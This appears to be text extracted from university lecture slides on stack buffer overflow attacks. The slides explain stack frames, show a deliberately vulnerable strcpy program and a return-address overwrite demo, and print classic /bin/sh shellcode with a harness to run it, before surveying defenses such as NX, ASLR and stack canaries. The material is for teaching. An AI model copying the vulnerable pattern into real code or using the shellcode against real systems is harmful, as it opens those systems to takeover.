Buffer Overflow Attack
SCHOOL OF COMPUTER SCIENCE AND ENGINEERING, INTERNATIONAL UNIVERSITY
From high level language to machine code
int g; void main(){ int x; int y; int z; x=1; y=2; z=x+y; g=z; }
Memory Organization (1)
Memory address decrease
Text Initialized/ Uninitialized data
Program code (instructions) Global, static variables
Stack
Local variables
Stack operation
Stack: A stack is an abstract data type. Stack contains objects in which the last object placed on the stack will be the first object removed (last in, first out queue, or a LIFO).
Two important operations of stack are PUSH and POP.
PUSH adds an element at the top of the stack. POP removes the element at the top of the stack.
Assembly Example Function
void fun(int a, int b, int c) { char buffer1[5]; char buffer2[10]; } void main() { fun(1,2,3); }
Stack and function
The stack consists of logical stack frames that are pushed when calling a function and popped when returning. Stack Pointer (SP) points to the top of the stack Frame pointer points to a fixed location within a frame. FP is used to access to the variables in stack
Stack
address decreases
Function A
Top of stack
Function
void fun(int a, int b, int c) { char buffer1[5]; char buffer2[10]; } void main() { fun(1,2,3); }
Stack
main
fun
Procedure prolog/epilog
Procedure prologue:
Save the previous FP SP into FP to create the new FP
prologue
Procedure prolog/epilog
Procedure epilog:
the stack must be cleaned up again movl %ebp,%esp popl %ebp ret
prologue
epilog
Stack in function calling
High level languages need function and procedure. Stack helps to implement this.
The stack is used to dynamically allocate the local variables used in functions, to pass parameters to the functions, and to return values from the function.
Stack in Action
Stack in action
Memory address increases
void fun(int a, int b, int c) { char buffer1[5]; char buffer2[10]; } void main() { fun(1,2,3); }
3 2 1 Saved IP Saved EBP Buffer1 Buffer2
Top of stack
Buffer overflow in a nutshell
Program: vul1.c Compile : gcc -o vul1 vul1.c
void main(int argc, char *argv[]) { char buffer[512]; if (argc > 1) { strcpy(buffer,argv[1]); printf(%s,buffer); } }
./vul1 ./vul1 hello output=hello
nothing happens
Instead of hello by giving suitable input we can modify the behavior of vul1, e.g. to spawn a shell
Buffer overflow can redirect execution flow
void function(int a, int b, int c) { char buffer1[5];
char buffer2[10];
int *ret; ret = buffer1 + 12; (*ret) += 8; } void main() { int x;
Demo example{2,3}.c
x = 0;
function(1,2,3); x = 1; printf("%d\n",x);
Binary Code (1)
int g; void main(){ int x; int y; int z; x=1; y=2; z=x+y; g=z; }
assembly code Binary code
Binary Code (2)
int g; void main(){ int x; int y; int z; x=1; y=2; z=x+y; g=z; }
\x55\x89\xe5\x83\xec\x10.....\xc9\xc3
Shellcode (1)
In most cases we'll simply want the program to spawn a shell, from where we can then issue other commands as we wish.
Place the code with are trying to execute in the buffer we are overflowing, and overwrite the return address so it points back into the buffer.
Shellcode (2)
Memory address decreases 3 2 1 Saved IP Saved EBP Buffer1
Shellcode Shellcode Buffer2
Top of stack
Code to open a shell
In C
void main(int argc, char **argv) { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); }
Shellcode to open a shell
char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\ x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x 40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh
Test the Shellcode
char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\ x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x 40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
void main() { int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode; }
Demo testshellcode.c Exploit1.c
Demo
Exploit1 Exploit2 Exploit3
Classification of bufferoverflow
Local buffer overflow: increase privilege on the local machine Remote buffer overflow: gain access to a remote machine
Kernel-Enforced Protection (PaX Project)
Non-executable (NOEXEC): prevents the injection and execution of code into a task's address space http://pax.grsecurity.net/docs/noexec.txt
The first feature NOEXEC implements is the executable semantics on memory pages.
making all available executable memory including the stack, heap and all anonymous mappings non-executable.
locking down of permissions on memory pages: prevent the creation of writable/executable file mappings (anonymous mappings are already made non-executable) we also refuse to turn a writable or non-executable mapping into an executable one and vice versa.
Kernel-Enforced Protection (PaX Project)
Address Space Layout Randomization (ASLR) http://pax.grsecurity.net/docs/aslr.txt
introducing randomness into the virtual memory layout for a particular process
varying levels of randomness during the process of loading a binary so that the binary mapping, dynamic library linking and stack memory regions are all randomized before the process begins executing
Kernel-Enforced Protection (PaX Project)
Address Space Layout Randomization (ASLR)
Compiler-Enforced Protection
Special values called canaries may be inserted into arbitrary points in memory to detect the corruption of saved control structures
The basic concept of overflowing a buffer to modify a return address or function pointer on the stack may be addressed by placing canary values in a location that would cause them to be overflowed before the return address may be reached
StackGuard
StackGuard adds code at the RTL level to the function_prologue and function_epilogue functions within GCC to provide the generation and validation of the stack canary random canary directly before the return address Canary changes, it means that there is stack smashing Defeating StackGuard
Possibility of bypassing StackGuard by overwriting local variables that could then be used to compromise the protection. overwriting function pointers and frame pointers stored on the stack can also lead to compromise. Protection against nonstack-based attack vectors such as heap overflows is also beyond the scope of StackGuard
(A Comparison of Buffer Overflow Prevention Implementations and Weaknesses)
ProPolice Stack-Smashing Protection (SSP)
SSP proactively monitors stack changes. SSPs approach re-arranges argument locations, return addresses, previous frame pointers and local variables. SSP has come up with the following safe stack model Defeating ProPolice SSP ProPolice is better protection against stack overflows than the other compiler patches but still have problem
(A Comparison of Buffer Overflow Prevention Implementations and Weaknesses)
StackShield
the return address is copied to the Global Ret Stack the return address is copied from the Global Ret Stack to the applications stack, overwriting any possible compromise Defeating StackShield Methods for defeating StackShield are similar to those used to bypass StackGuard protection
Windows 2003 Stack Protection
Microsoft implemented a compiler-based protection solution to ensure that their products were secure out of the box. Microsofts solution is very similar to Crispin Cowans StackGuard covered earlier in this paper NGSEC StackDefender 1.10 works in the kernel level http://www.cvedetails.com/product/22318/Microsoft-Windows8.html?vendor_id=26